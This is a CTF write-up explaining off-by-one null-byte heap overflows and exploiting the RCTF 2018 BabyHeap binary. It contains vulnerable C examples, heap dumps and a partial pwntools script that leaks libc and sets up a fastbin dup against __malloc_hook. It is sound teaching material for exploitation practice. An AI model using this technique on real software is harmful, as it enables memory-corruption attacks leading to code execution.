One By Off Overwrite

Overwriting the heap by one byte

A One-By-Off vulnerability usually occurs due to bad coding.

Let look at two examples from https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/

1. Bad Looping

int my_gets(char *ptr,int size)
{
    int i;
    for(i=0;i<=size;i++)
    {
        ptr[i]=getchar();
    }
    return i;
}

int main()
{
    void *chunk1,*chunk2;
    chunk1=malloc(16);
    chunk2=malloc(16);
    puts("Get Input:");
    my_gets(chunk1,16);
    return 0;

}

Relatively obvious, the loop executes 17 times instead of the intended 16, allowing a one-byte overflow on the heap due to the incorrect i <= size condition

2. Bad String Manipulation

char buffer[40];
chunk1 = malloc(24)
puts("Get Input");
gets(buffer);
if(strlen(buffer)==24)
{
    strcpy(chunk1,buffer);
}

strlen does not take the null terminator into consideration when accounting for length while strcpy simply copies the string with the null terminator as well, leading to a one byte null overflow.

This vulnerability can be used to modify chunk sizes, modify prev-in-use bit as stated here.

Lets look at one CTF challenge that exploits this vulnerability well.

RCTF 2018 BabyHeap

Vulnerability

One-By-Off Null Byte Overflow due to the way the code is written. When the loop ends, the counter would be equivalent to a2 and would write a null byte to one byte beyond the allocated size.

unsigned __int64 __fastcall sub_BC8(__int64 a1, unsigned int a2)
{
  char buf; // [rsp+13h] [rbp-Dh] BYREF
  unsigned int i; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  for ( i = 0; i < a2; ++i )
  {
    buf = 0;
    if ( read(0, &buf, 1uLL) < 0 )
      sub_B90("read() error");
    *(_BYTE *)(a1 + i) = buf;
    if ( buf == 10 )
      break;
  }
  *(_BYTE *)(i + a1) = 0; //The vulnerable code
  return __readfsqword(0x28u) ^ v5;
}

We can thus chain this with Heap Consolidation to get a libc leak considering that we have a view function which prints the contents of the allocated buffer based on index.

int show()
{
  int v1; // [rsp+4h] [rbp-Ch]
  const char *v2; // [rsp+8h] [rbp-8h]

  printf("please input chunk index: ");
  v1 = read_input();
  if ( (unsigned int)v1 >= 32 )
    sub_B90("invalid index");
  v2 = *(const char **)(8LL * v1 + unk_202020);
  if ( v2 )
    return printf("content: %s\n", v2);
  else
    return puts("no such a chunk");
}

Lets start planning our exploit chain. By first we can look at how a malloc chunk is like.

When we perform the overflow, we can overwrite the first 9 bytes of the next chunk which means we can overwrite the prev_size as well as the P byte which stands for prev-in-use.

  1. Allocate 4 Chunks with the following purposes

    • Chunk 0 - Small Bin Size, will be used for consolidation

    • Chunk 1 - Fast Bin Size, will be used for consolidation and overlapping with Chunk 2

    • Chunk 2 - Small Bin Size, the chunk's size and in-use-bit (null-byte) will be overwritten

    • Chunk 3 - Fast Bin Size, Used to prevent consolidation with top chunk

Lets visualize this in memory, first we allocate the four chunks

0x564945007800  0x0000000000000000      0x0000000000000101      ................ #Chunk 0 - SmallBin1 
0x564945007810  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x564945007820  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x564945007830  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x564945007840  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x564945007850  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x564945007860  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x564945007870  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x564945007880  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x564945007890  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x5649450078a0  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x5649450078b0  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x5649450078c0  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x5649450078d0  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x5649450078e0  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x5649450078f0  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x564945007900  0x0000000000000000      0x0000000000000081      ................ #Chunk 1 - FastBin1
0x564945007910  0x6262626262626262      0x6262626262626262      bbbbbbbbbbbbbbbb
0x564945007920  0x6262626262626262      0x6262626262626262      bbbbbbbbbbbbbbbb
0x564945007930  0x6262626262626262      0x6262626262626262      bbbbbbbbbbbbbbbb
0x564945007940  0x6262626262626262      0x6262626262626262      bbbbbbbbbbbbbbbb
0x564945007950  0x6262626262626262      0x6262626262626262      bbbbbbbbbbbbbbbb
0x564945007960  0x6262626262626262      0x6262626262626262      bbbbbbbbbbbbbbbb
0x564945007970  0x6262626262626262      0x6262626262626262      bbbbbbbbbbbbbbbb
0x564945007980  0x0000000000000000      0x0000000000000101      ................ #Chunk 2 - SmallBin2
0x564945007990  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x5649450079a0  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x5649450079b0  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x5649450079c0  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x5649450079d0  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x5649450079e0  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x5649450079f0  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x564945007a00  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x564945007a10  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x564945007a20  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x564945007a30  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x564945007a40  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x564945007a50  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x564945007a60  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x564945007a70  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x564945007a80  0x0000000000000000      0x0000000000000021      ........!....... #Chunk 3 - FastBin2
0x564945007a90  0x6464646464646464      0x6464646464646464      dddddddddddddddd
0x564945007aa0  0x0000000000000000      0x0000000000020561      ........a.......         <-- Top chunk

We then proceed to free Chunks 0 and 1. We know that when the small bin merges with the unsorted bin, fd and bd points to an offset within libc

0x564945007800  0x0000000000000000      0x0000000000000101      ................         <-- unsortedbin[all][0] #Chunk 0 - Freed and merged with unsorted
0x564945007810  0x00007fb0415c4b78      0x00007fb0415c4b78      xK\A....xK\A.... 
0x564945007820  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x564945007830  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x564945007840  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x564945007850  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x564945007860  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x564945007870  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x564945007880  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x564945007890  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x5649450078a0  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x5649450078b0  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x5649450078c0  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x5649450078d0  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x5649450078e0  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x5649450078f0  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x564945007900  0x0000000000000100      0x0000000000000080      ................         <-- fastbins[0x80][0] #Chunk 1 freed
0x564945007910  0x0000000000000000      0x6262626262626262      ........bbbbbbbb
0x564945007920  0x6262626262626262      0x6262626262626262      bbbbbbbbbbbbbbbb
0x564945007930  0x6262626262626262      0x6262626262626262      bbbbbbbbbbbbbbbb
0x564945007940  0x6262626262626262      0x6262626262626262      bbbbbbbbbbbbbbbb
0x564945007950  0x6262626262626262      0x6262626262626262      bbbbbbbbbbbbbbbb
0x564945007960  0x6262626262626262      0x6262626262626262      bbbbbbbbbbbbbbbb
0x564945007970  0x6262626262626262      0x6262626262626262      bbbbbbbbbbbbbbbb
0x564945007980  0x0000000000000000      0x0000000000000101      ................
0x564945007990  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x5649450079a0  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x5649450079b0  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x5649450079c0  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x5649450079d0  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x5649450079e0  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x5649450079f0  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x564945007a00  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x564945007a10  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x564945007a20  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x564945007a30  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x564945007a40  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x564945007a50  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x564945007a60  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x564945007a70  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x564945007a80  0x0000000000000000      0x0000000000000021      ........!.......
0x564945007a90  0x6464646464646464      0x6464646464646464      dddddddddddddddd
0x564945007aa0  0x0000000000000000      0x0000000000020561      ........a.......         <-- Top chunk

We can then do another fastbin allocation, this time allocating 8 more bytes so as to override the previous_size field with the size of chunk0 and chunk1 (0x100 + 0x80) and prev_in_use bit via as per code logic of chunk 2.

0x557d5ef35030  0x0000000000000000      0x0000000000000101      ................         <-- unsortedbin[all][0] - #Chunk 0 - Freed and merged with unsorted
0x557d5ef35040  0x00007f440e3c4b78      0x00007f440e3c4b78      xK<.D...xK<.D...
0x557d5ef35050  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x557d5ef35060  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x557d5ef35070  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x557d5ef35080  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x557d5ef35090  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x557d5ef350a0  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x557d5ef350b0  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x557d5ef350c0  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x557d5ef350d0  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x557d5ef350e0  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x557d5ef350f0  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x557d5ef35100  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x557d5ef35110  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x557d5ef35120  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x557d5ef35130  0x0000000000000100      0x0000000000000080      ................ #Chunk 1 - Allocated and used for null-byte overflow
0x557d5ef35140  0x6565656565656565      0x6565656565656565      eeeeeeeeeeeeeeee
0x557d5ef35150  0x6565656565656565      0x6565656565656565      eeeeeeeeeeeeeeee
0x557d5ef35160  0x6565656565656565      0x6565656565656565      eeeeeeeeeeeeeeee
0x557d5ef35170  0x6565656565656565      0x6565656565656565      eeeeeeeeeeeeeeee
0x557d5ef35180  0x6565656565656565      0x6565656565656565      eeeeeeeeeeeeeeee
0x557d5ef35190  0x6565656565656565      0x6565656565656565      eeeeeeeeeeeeeeee
0x557d5ef351a0  0x6565656565656565      0x6565656565656565      eeeeeeeeeeeeeeee
0x557d5ef351b0  0x0000000000000180      0x0000000000000100      ................ #Chunk 2 The chunk whose fields we want to override
0x557d5ef351c0  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x557d5ef351d0  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x557d5ef351e0  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x557d5ef351f0  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x557d5ef35200  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x557d5ef35210  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x557d5ef35220  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x557d5ef35230  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x557d5ef35240  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x557d5ef35250  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x557d5ef35260  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x557d5ef35270  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x557d5ef35280  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x557d5ef35290  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x557d5ef352a0  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x557d5ef352b0  0x0000000000000000      0x0000000000000021      ........!....... #Chunk 3 - Divider Chunk to prevent consolidation with Top Chunk
0x557d5ef352c0  0x6464646464646464      0x6464646464646464      dddddddddddddddd
0x557d5ef352d0  0x0000000000000000      0x0000000000020d31      ........1.......         <-- Top chunk

Now, let's proceed with freeing chunk 2. By setting the previous_size and prev_in_use flag, the heap now thinks that the adjacent chunk before (chunk 1) is not in use and we already know that chunk 0 is freed. It will then attempt to consolidate chunk 2 with chunk 0, with the overlapping chunk being the fastbin 1 (chunk 1).

Now, when re allocate a small bin of size 0x100, the unsorted bin chunk of 0x280 will be broken down into two portions - 0x100 and 0x180 and the 0x180 portion will contain the libc addresses (main_arena+88) as per last remainder chunk.

0x561203ae5ba0  0x0000000000000000      0x0000000000000101      ................ #New Chunk
0x561203ae5bb0  0x6767676767676767      0x6767676767676767      gggggggggggggggg
0x561203ae5bc0  0x6767676767676767      0x6767676767676767      gggggggggggggggg
0x561203ae5bd0  0x6767676767676767      0x6767676767676767      gggggggggggggggg
0x561203ae5be0  0x6767676767676767      0x6767676767676767      gggggggggggggggg
0x561203ae5bf0  0x6767676767676767      0x6767676767676767      gggggggggggggggg
0x561203ae5c00  0x6767676767676767      0x6767676767676767      gggggggggggggggg
0x561203ae5c10  0x6767676767676767      0x6767676767676767      gggggggggggggggg
0x561203ae5c20  0x6767676767676767      0x6767676767676767      gggggggggggggggg
0x561203ae5c30  0x6767676767676767      0x6767676767676767      gggggggggggggggg
0x561203ae5c40  0x6767676767676767      0x6767676767676767      gggggggggggggggg
0x561203ae5c50  0x6767676767676767      0x6767676767676767      gggggggggggggggg
0x561203ae5c60  0x6767676767676767      0x6767676767676767      gggggggggggggggg
0x561203ae5c70  0x6767676767676767      0x6767676767676767      gggggggggggggggg
0x561203ae5c80  0x6767676767676767      0x6767676767676767      gggggggggggggggg
0x561203ae5c90  0x6767676767676767      0x6767676767676767      gggggggggggggggg
0x561203ae5ca0  0x0000000000000000      0x0000000000000181      ................         <-- unsortedbin[all][0] #Remainder Chunk that contains my libc address
0x561203ae5cb0  0x00007f1370fc4b78      0x00007f1370fc4b78      xK.p....xK.p....
0x561203ae5cc0  0x6565656565656565      0x6565656565656565      eeeeeeeeeeeeeeee
0x561203ae5cd0  0x6565656565656565      0x6565656565656565      eeeeeeeeeeeeeeee
0x561203ae5ce0  0x6565656565656565      0x6565656565656565      eeeeeeeeeeeeeeee
0x561203ae5cf0  0x6565656565656565      0x6565656565656565      eeeeeeeeeeeeeeee
0x561203ae5d00  0x6565656565656565      0x6565656565656565      eeeeeeeeeeeeeeee
0x561203ae5d10  0x6565656565656565      0x6565656565656565      eeeeeeeeeeeeeeee
0x561203ae5d20  0x0000000000000180      0x0000000000000100      ................
0x561203ae5d30  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x561203ae5d40  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x561203ae5d50  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x561203ae5d60  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x561203ae5d70  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x561203ae5d80  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x561203ae5d90  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x561203ae5da0  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x561203ae5db0  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x561203ae5dc0  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x561203ae5dd0  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x561203ae5de0  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x561203ae5df0  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x561203ae5e00  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x561203ae5e10  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x561203ae5e20  0x0000000000000180      0x0000000000000020      ........ .......
0x561203ae5e30  0x6464646464646464      0x6464646464646464      dddddddddddddddd
0x561203ae5e40  0x0000000000000000      0x00000000000201c1      ................         <-- Top chunk

We can then leak the libc's address with view(0) the freed fastbin chunk (Chunk 1) which overlaps with the recently allocated small bin (Chunk 0).

Exploit

We can use the fastbin dup attack to get a arbitrary write over __malloc_hook. Traditionally, we would need a UAF to get control over fastbin's fd pointer, but since we have a overlapping chunk, lets make use of that instead.

We will first free Chunk 0 so that we get a consolidated unsortedbin of size 0x280.

0x557dc7ca8170  0x0000000000000000      0x0000000000000281      ................         <-- unsortedbin[all][0] (Our First SmallBin1)
0x557dc7ca8180  0x00007f9424fc4b78      0x00007f9424fc4b78      xK.$....xK.$....
0x557dc7ca8190  0x6767676767676767      0x6767676767676767      gggggggggggggggg
0x557dc7ca81a0  0x6767676767676767      0x6767676767676767      gggggggggggggggg
0x557dc7ca81b0  0x6767676767676767      0x6767676767676767      gggggggggggggggg
0x557dc7ca81c0  0x6767676767676767      0x6767676767676767      gggggggggggggggg
0x557dc7ca81d0  0x6767676767676767      0x6767676767676767      gggggggggggggggg
0x557dc7ca81e0  0x6767676767676767      0x6767676767676767      gggggggggggggggg
0x557dc7ca81f0  0x6767676767676767      0x6767676767676767      gggggggggggggggg
0x557dc7ca8200  0x6767676767676767      0x6767676767676767      gggggggggggggggg
0x557dc7ca8210  0x6767676767676767      0x6767676767676767      gggggggggggggggg
0x557dc7ca8220  0x6767676767676767      0x6767676767676767      gggggggggggggggg
0x557dc7ca8230  0x6767676767676767      0x6767676767676767      gggggggggggggggg
0x557dc7ca8240  0x6767676767676767      0x6767676767676767      gggggggggggggggg
0x557dc7ca8250  0x6767676767676767      0x6767676767676767      gggggggggggggggg
0x557dc7ca8260  0x6767676767676767      0x6767676767676767      gggggggggggggggg
0x557dc7ca8270  0x0000000000000000      0x0000000000000181      ................         <-- (fastbin1)
0x557dc7ca8280  0x00007f9424fc4b78      0x00007f9424fc4b78      xK.$....xK.$....         
0x557dc7ca8290  0x6565656565656565      0x6565656565656565      eeeeeeeeeeeeeeee
0x557dc7ca82a0  0x6565656565656565      0x6565656565656565      eeeeeeeeeeeeeeee
0x557dc7ca82b0  0x6565656565656565      0x6565656565656565      eeeeeeeeeeeeeeee
0x557dc7ca82c0  0x6565656565656565      0x6565656565656565      eeeeeeeeeeeeeeee
0x557dc7ca82d0  0x6565656565656565      0x6565656565656565      eeeeeeeeeeeeeeee
0x557dc7ca82e0  0x6565656565656565      0x6565656565656565      eeeeeeeeeeeeeeee
0x557dc7ca82f0  0x0000000000000180      0x0000000000000100      ................
0x557dc7ca8300  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x557dc7ca8310  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x557dc7ca8320  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x557dc7ca8330  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x557dc7ca8340  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x557dc7ca8350  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x557dc7ca8360  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x557dc7ca8370  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x557dc7ca8380  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x557dc7ca8390  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x557dc7ca83a0  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x557dc7ca83b0  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x557dc7ca83c0  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x557dc7ca83d0  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x557dc7ca83e0  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x557dc7ca83f0  0x0000000000000280      0x0000000000000020      ........ .......
0x557dc7ca8400  0x6464646464646464      0x6464646464646464      dddddddddddddddd
0x557dc7ca8410  0x0000000000000000      0x0000000000020bf1      ................         <-- Top chunk

Previously, we know that the size of SmallBin1 is 0xF0. Let allocate a small bin of size 208 bytes followed by a fastbin of 128 bytes and see where it is allocated.

0x5616be0cc7d0  0x0000000000000000      0x00000000000000e1      ................         <-- smallbin3 ptr (new)
0x5616be0cc7e0  0x4e4e4e4e4e4e4e4e      0x4e4e4e4e4e4e4e4e      NNNNNNNNNNNNNNNN
0x5616be0cc7f0  0x4e4e4e4e4e4e4e4e      0x4e4e4e4e4e4e4e4e      NNNNNNNNNNNNNNNN
0x5616be0cc800  0x4e4e4e4e4e4e4e4e      0x4e4e4e4e4e4e4e4e      NNNNNNNNNNNNNNNN
0x5616be0cc810  0x4e4e4e4e4e4e4e4e      0x4e4e4e4e4e4e4e4e      NNNNNNNNNNNNNNNN
0x5616be0cc820  0x4e4e4e4e4e4e4e4e      0x4e4e4e4e4e4e4e4e      NNNNNNNNNNNNNNNN
0x5616be0cc830  0x4e4e4e4e4e4e4e4e      0x4e4e4e4e4e4e4e4e      NNNNNNNNNNNNNNNN
0x5616be0cc840  0x4e4e4e4e4e4e4e4e      0x4e4e4e4e4e4e4e4e      NNNNNNNNNNNNNNNN
0x5616be0cc850  0x4e4e4e4e4e4e4e4e      0x4e4e4e4e4e4e4e4e      NNNNNNNNNNNNNNNN
0x5616be0cc860  0x4e4e4e4e4e4e4e4e      0x4e4e4e4e4e4e4e4e      NNNNNNNNNNNNNNNN
0x5616be0cc870  0x4e4e4e4e4e4e4e4e      0x4e4e4e4e4e4e4e4e      NNNNNNNNNNNNNNNN
0x5616be0cc880  0x4e4e4e4e4e4e4e4e      0x4e4e4e4e4e4e4e4e      NNNNNNNNNNNNNNNN
0x5616be0cc890  0x4e4e4e4e4e4e4e4e      0x4e4e4e4e4e4e4e4e      NNNNNNNNNNNNNNNN
0x5616be0cc8a0  0x4e4e4e4e4e4e4e4e      0x4e4e4e4e4e4e4e4e      NNNNNNNNNNNNNNNN
0x5616be0cc8b0  0x0000000000000000      0x0000000000000091      ................         <-- fastbin3 ptr (new) - index 2 on the array
0x5616be0cc8c0  0x4141414141414141      0x4141414141414141      AAAAAAAAAAAAAAAA
0x5616be0cc8d0  0x0000000000000000      0x0000000000000071      ........q.......         <-- fastbin1 ptr (original) - index 0 on the array
0x5616be0cc8e0  0x00000000deadbeef      0x00000000beefdead      ................
0x5616be0cc8f0  0x0000000000000000      0x0000000000000000      ................
0x5616be0cc900  0x0000000000000000      0x0000000000000000      ................
0x5616be0cc910  0x0000000000000000      0x0000000000000000      ................
0x5616be0cc920  0x0000000000000000      0x0000000000000000      ................
0x5616be0cc930  0x0000000000000000      0x0000000000000000      ................
0x5616be0cc940  0x0000000000000000      0x0000000000000111      ................         <-- unsortedbin[all][0]

As we can see, fastbin3 and 1 overlap in the heap. By crafting the allocation of fastbin3 and creating a fake chunk, we will be able to control the next fastbin allocation. Lets free fastbin1 followed by fastbin3 and then perform another fastbin allocation of the same size.

0x55e6b4a57ae0  0x0000000000000000      0x0000000000000091      ................
0x55e6b4a57af0  0x4241424142414241      0x4241424142414241      ABABABABABABABAB
0x55e6b4a57b00  0x0000000000000000      0x0000000000000071      ........q.......         <-- fastbins[0x70][0]
0x55e6b4a57b10  0x00000000deadbeef      0x0000000000000000      ................
0x55e6b4a57b20  0x0000000000000000      0x0000000000000000      ................
0x55e6b4a57b30  0x0000000000000000      0x0000000000000000      ................
0x55e6b4a57b40  0x0000000000000000      0x0000000000000000      ................
0x55e6b4a57b50  0x0000000000000000      0x0000000000000000      ................
0x55e6b4a57b60  0x0000000000000000      0x0000000000000000      ................
0x55e6b4a57b70  0x0000000000000000      0x0000000000000111      ................         <-- unsortedbin[all][0]
0x55e6b4a57b80  0x00007f187c7c4b78      0x00007f187c7c4b78      xK||....xK||....
0x55e6b4a57b90  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x55e6b4a57ba0  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x55e6b4a57bb0  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x55e6b4a57bc0  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x55e6b4a57bd0  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x55e6b4a57be0  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x55e6b4a57bf0  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x55e6b4a57c00  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x55e6b4a57c10  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x55e6b4a57c20  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x55e6b4a57c30  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x55e6b4a57c40  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x55e6b4a57c50  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x55e6b4a57c60  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x55e6b4a57c70  0x6363636363636363      0x6363636363636363      cccccccccccccccc
0x55e6b4a57c80  0x0000000000000110      0x0000000000000020      ........ .......
0x55e6b4a57c90  0x6464646464646464      0x6464646464646464      dddddddddddddddd
0x55e6b4a57ca0  0x0000000000000000      0x0000000000020361      ........a.......         <-- Top chunk
pwndbg> fastbins
fastbins
0x70: 0x55e6b4a57b00 ◂— 0xdeadbeef

We see that even though we made a valid fastbin allocation, the fastbin ptr is pointing to the original fastbin1 and thinks it is "freed" due to its overlap with fastbin3. We now have control over fd and instead can point it to __malloc_hook instead of 0xdeadbeef so that our next fastbin allocation can be used to overwrite the contents of __malloc_hook

We will have to find a fake chunk for a valid chunk size which can be easily done using find_fake_chunks in pwndbg.

pwndbg> find_fake_fast &__malloc_hook
pwndbg will try to resolve the heap symbols via heuristic now since we cannot resolve the heap via the debug symbols.
This might not work in all cases. Use `help set resolve-heap-via-heuristic` for more details.

global_max_fast symbol not found, using the default value: 0x80
Use `set global-max-fast <address>` to set the address of global_max_fast manually if needed.
Searching for fastbin size fields up to 0x80, starting at 0x7ff0fa3c4a98 resulting in an overlap of 0x7ff0fa3c4b10
FAKE CHUNKS
Fake chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA
Addr: 0x7ff0fa3c4aed
prev_size: 0xf0fa3c3260000000
size: 0x7f

This results in this solve script.

#!/usr/bin/env python3

from pwn import *

exe = ELF("./babyheap_patched")
libc = ELF("./libc.so (1).6")
ld = ELF("./ld-2.23.so")

context.binary = exe
p = process([exe.path])
gdb.attach(p)

def insert(size, contents):
    p.recvuntil(b"choice: ")
    p.sendline(b'1')
    p.sendlineafter(b'please input chunk size: ', size)
    p.recvuntil(b'input chunk content: ')
    p.send(contents)

def view(index):
    p.recvuntil(b"choice: ")
    p.sendline(b'2')
    p.sendlineafter(b'please input chunk index: ', index)
    p.recvuntil(b'content: ')
    leak = p.recvline().strip(b'\n')
    return leak

def delete(index):
    p.sendlineafter(b"choice: ", b'3')
    p.sendlineafter(b"please input chunk index: ", index)

insert(b'240', b"a" * 240) #smallbin1 - 0xF0 - size
insert(b'112', b"b" * 112) #fastbin1 - 0x70 - size
insert(b'240', b"c" * 240) #smallbin2 - 0xF0 - size
insert(b'16', b'd' * 16) # Prevent consolidation with top chunk - fastbin2

delete(b'0')
delete(b'1')

insert(b'120', b'e' * 112 + p64(384)) #Overwriting previous-in-use-bit for smallbin2 to become 0 (not-inuse)/Null Byte Overflow to make the size of smallbin 2 100 instead of 101
delete(b'2') #Small bin 2 consolidates with small bin 1 because of its prev size
insert(b'240', b'g' * 240) #fastbin1 overlaps with a free chunk which point to main_arena

leak = view(b'0').ljust(8, b'\x00')  #libc leak
libc.address = u64(leak) - 0x3c4b78
log.info(f"Libc base @ : {hex(libc.address)}")
malloc_hook = libc.symbols['__malloc_hook'] - 0x23 #find_fake_chunk
one_gadget = libc.address + 0x4526a
log.info(f"malloc_hook @ : {hex(libc.symbols['__malloc_hook'])}")
log.info(f"Fake Chunk @ : {hex(malloc_hook)}")
log.info(f'One Gadget @ : {hex(one_gadget)}')

delete(b'1')  
insert(b'208', b'N'*208) #SmallBin4 - size 224
insert(b'128', b"A" *16 + p64(0) + p64(113) + p64(0xdeadbeef) + p64(0xbeefdead) + b'\n') #FastBin3 - 16 bytes behind the 240 smallbin1, so we craft it accordingly
# insert(b'128', b'A'*16 + p64(0) + p64(113) + p64(0) + p64(0) + b'\n') #Crafting my fake chunk size with a size of 0x71
